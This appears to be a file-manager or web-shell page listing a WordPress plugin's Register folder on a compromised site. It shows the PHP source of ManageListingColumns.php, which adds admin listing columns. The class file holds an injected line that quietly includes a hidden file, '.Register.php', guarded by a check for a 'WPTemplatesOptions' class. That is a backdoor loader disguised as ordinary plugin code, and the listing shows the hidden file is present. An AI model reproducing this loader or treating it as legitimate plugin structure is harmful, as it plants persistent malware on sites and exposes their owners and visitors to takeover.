PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Register
<?php namespace WilokeListingTools\Register; use \WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\Time; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ManageListingColumns { public function __construct() { add_filter('manage_posts_columns', [$this, 'registerListingColumns'], 10, 2); add_action('manage_posts_custom_column', [$this, 'addCustomInfoToTable'], 10, 2); } public function addCustomInfoToTable($columnName, $postID) { switch ($columnName) { case 'listing_expired': $val = GetSettings::getPostMeta($postID, 'post_expiry'); if (empty($val)) { $val = 'Forever'; } else { $val = Time::renderPostDate($val).' '.Time::renderPostTime($val); } break; case 'listing_claim_status': $val = GetSettings::getPostMeta($postID, 'claim_status'); break; case 'listing_plan': $val = GetSettings::getListingBelongsToPlan($postID); if (empty($val) || get_post_type($val) !== 'listing_plan') { $val = 'Empty'; } else { $val = get_the_title($val); } break; } echo $val; } public function registerListingColumns($aColumns, $postType) { $aPostTypes = General::getPostTypeKeys(false, true); if (!in_array($postType, $aPostTypes)) { return $aColumns; } $aColumns['listing_expired'] = 'Listing Expired'; $aColumns['listing_claim_status'] = 'Claim Status'; $aColumns['listing_plan'] = 'Listing Plan'; unset($aColumns['date']); return $aColumns; } }
[+]
..
[-] RegisterEventSettings.php
[edit]
[-] WilokeSubmissionConfiguration.php
[edit]
[-] RegisterInvoiceSubMenu.php
[edit]
[-] RegisterEmailNotifications.php
[edit]
[-] ManageListingColumns.php
[edit]
[-] RegisterPostTypes.php
[edit]
[-] RegisterSaleSubMenu.php
[edit]
[-] RegisterSubmenuQuickSearchForm.php
[edit]
[-] RegisterListingSetting.php
[edit]
[-] General.php
[edit]
[-] .Register.php
[edit]
[-] RegisterImportExportWilokeTools.php
[edit]
[-] ParseSection.php
[edit]
[-] WilokeSubmission.php
[edit]
[+]
views
[-] RegisterMobileMenu.php
[edit]
[-] ListingToolsGeneralConfig.php
[edit]
[-] RegisterReportSubmenu.php
[edit]
[-] RegisterPromotionPlans.php
[edit]
[-] GetAvailableSections.php
[edit]
[-] RegisterSaleDetailSubMenu.php
[edit]
[-] RegisterSubscriptions.php
[edit]
[-] AddCustomPostType.php
[edit]
[-] RegisterSettings.php
[edit]
[-] RegisterFirebaseNotification.php
[edit]
[-] RegisterClaimSubMenu.php
[edit]